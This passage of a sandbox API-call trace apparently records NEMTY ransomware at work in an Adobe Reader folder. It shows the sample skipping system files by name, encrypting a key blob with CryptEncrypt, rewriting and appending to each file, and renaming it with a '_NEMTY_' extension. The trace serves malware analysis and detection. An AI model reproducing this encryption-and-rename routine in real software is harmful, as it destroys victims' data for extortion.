dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul120.lex", lpUsedDefaultChar=0x0) returned 10 [0216.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul120.lex", lpUsedDefaultChar=0x0) returned 10 [0216.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul120.lex", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul120.lex", lpUsedDefaultChar=0x0) returned 10 [0216.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.818] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.818] Sleep (dwMilliseconds=0x5) [0216.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dfaa70, dwHighDateTime=0x1d561e8)) [0216.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34dfaa70, dwHighDateTime=0x1d561e8)) [0216.822] GetLastError () returned 0x0 [0216.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.822] GetLastError () returned 0x0 [0216.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.823] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.823] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.823] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="SofmZDYzJ6+tsAPv1HBkCf41pTZt9dkgOK0M3Nwo2vIa1F0zf69rV9uIbPUXENme\r\nxQJGtvP4pgtDuoe3YB4bgWLvfBPaq9NSgmbQNy3WBocT2Yhlhcnq2BOD4FhEP73y\r\njHruQliwuB7A+EqzKmGHsbhTHYOEAi6sOCHZjhHdtr6YlG61YNK7y1G0p2uY4o83\r\nMBGrjYEg/CGOV5ZhtsLoziU0jqpYnTQwarvs1UGCL19A/E3NzASS1SCZbrtR6pQG\r\nkrwLBPxS41D2K5WXXq79FnAKZeetKYPwZ3+ftKF5lsnjSsVoMc2COfD8COAqvTMA\r\na4pF+HUln7OlzzeFyMNYHw==\r\n", pcchString=0x653df5c) returned 1 [0216.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul120.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul120.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.824] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=466944) returned 1 [0216.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0216.824] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.824] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.833] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.833] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.833] SetFilePointer (in: hFile=0x320, lDistanceToMove=466944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x72000 [0216.833] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.834] CloseHandle (hObject=0x320) returned 1 [0216.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.835] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul120.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul120.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul120.lex._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul120.lex._nemty_kgobjgd_")) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0216.835] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="bul32.clx", cAlternateFileName="")) returned 1 [0216.835] lstrcmpiW (lpString1="bul32.clx", lpString2=".") returned 1 [0216.835] lstrcmpiW (lpString1="bul32.clx", lpString2="..") returned 1 [0216.835] lstrcmpiW (lpString1="bul32.clx", lpString2="...") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="windows") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="rsa") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="NTDETECT.COM") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="ntldr") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="MSDOS.SYS") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="IO.SYS") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="boot.ini") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="boot.ini") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="ntuser.dat") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="desktop.ini") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="CONFIG.SYS") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="RECYCLER") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="BOOTSECT.BAK") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="bootmgr") returned 1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="programdata") returned -1 [0216.836] lstrcmpiW (lpString1="bul32.clx", lpString2="appdata") returned 1 [0216.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bul32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bul32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0216.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0216.837] Sleep (dwMilliseconds=0x5) [0216.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e20bd0, dwHighDateTime=0x1d561e8)) [0216.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34e20bd0, dwHighDateTime=0x1d561e8)) [0216.838] GetLastError () returned 0x0 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.838] GetLastError () returned 0x0 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.838] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.838] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="ZnMi41NMk2DNqorhKhZI65sOWWxlC+TAj60q510S1WOZvYQcYyUtrvdPHMRCpk8m\r\nk/cZD5ylPd53PuJf1eTcKWOYEmNvBmj5omshRgFGA7isinHfM3X/lGTBGJTYFfEZ\r\nAsPxWVQccs9dW/kJFp8sYFpFA8dR/gtuYoBoQM+NbVPT2SyBrvVGWIe9Jh3gfkAU\r\njLNVW+5ZfdWR47O0ME5g0Hsam9yuw4JfAz7sVpicFV1Mzb+vOXnVgkiEIYJrvhrD\r\nvqfsA3L5k+37OsKzuovROcBblyK2//h0XV7Egj/rgEUxyWlXHjYrdEYSthFTQ34I\r\niVLZutxmZmRd92PQ+o2FGg==\r\n", pcchString=0x653df5c) returned 1 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.839] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32766) returned 1 [0216.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6354c48 [0216.839] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.839] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.842] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.842] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0216.843] SetFilePointer (in: hFile=0x320, lDistanceToMove=32766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ffe [0216.843] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.843] CloseHandle (hObject=0x320) returned 1 [0216.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0216.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0216.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0216.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.843] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul32.clx._nemty_kgobjgd_")) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0216.844] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1430, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="bulphon.env", cAlternateFileName="")) returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2=".") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="..") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="...") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="windows") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="$RECYCLE.BIN") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="rsa") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="NTDETECT.COM") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="ntldr") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="MSDOS.SYS") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="IO.SYS") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="boot.ini") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="boot.ini") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="AUTOEXEC.BAT") returned 1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="ntuser.dat") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="desktop.ini") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="CONFIG.SYS") returned -1 [0216.844] lstrcmpiW (lpString1="bulphon.env", lpString2="RECYCLER") returned -1 [0216.845] lstrcmpiW (lpString1="bulphon.env", lpString2="BOOTSECT.BAK") returned 1 [0216.845] lstrcmpiW (lpString1="bulphon.env", lpString2="bootmgr") returned 1 [0216.845] lstrcmpiW (lpString1="bulphon.env", lpString2="programdata") returned -1 [0216.845] lstrcmpiW (lpString1="bulphon.env", lpString2="appdata") returned 1 [0216.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bulphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 